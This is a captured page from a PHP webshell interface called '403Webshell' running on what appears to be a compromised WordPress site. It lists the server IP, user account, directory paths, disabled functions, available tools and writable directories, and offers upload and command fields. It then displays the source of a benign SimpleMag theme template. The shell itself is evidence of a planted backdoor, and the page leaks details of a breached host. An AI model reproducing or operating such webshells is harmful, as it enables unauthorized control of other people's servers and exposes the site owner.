403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/44/d845879113/htdocs/app245899/wp-content/themes/simplemag/formats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/44/d845879113/htdocs/app245899/wp-content/themes/simplemag/formats/format-standard.php
<?php 
/** 
 * Single Post - Standard Format
 *
 * @package SimpleMag
 * @since 	SimpleMag 2.2
**/ 
global $ti_option;


if ( $ti_option['single_featured_image'] == 1 ) {

	if ( $ti_option['single_media_position'] == 'useperpost' && get_post_meta( $post->ID, 'post_media_position', true ) == 'media_full_width' || $ti_option['single_media_position'] == 'fullwidth' ) {
		$standard_size = 'big-size';
	}
	elseif(  $ti_option['single_media_position'] == 'useperpost' && get_post_meta( $post->ID, 'post_media_position', true ) == 'media_above_content' || $ti_option['single_media_position'] == 'abovecontent' ) {
		$standard_size = 'medium-size';
	}
    ?>
  
	<?php if ( has_post_thumbnail() ) { ?>

		<figure class="base-image">
        
            <?php the_post_thumbnail( $standard_size ); ?>

            <?php
			if ( get_post( get_post_thumbnail_id() )->post_excerpt != ''){
				echo '<span class="icon"></span><figcaption class="image-caption">' . get_post( get_post_thumbnail_id() )->post_excerpt . '</figcaption>';
			}
            ?>
		</figure>

	<?php }
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit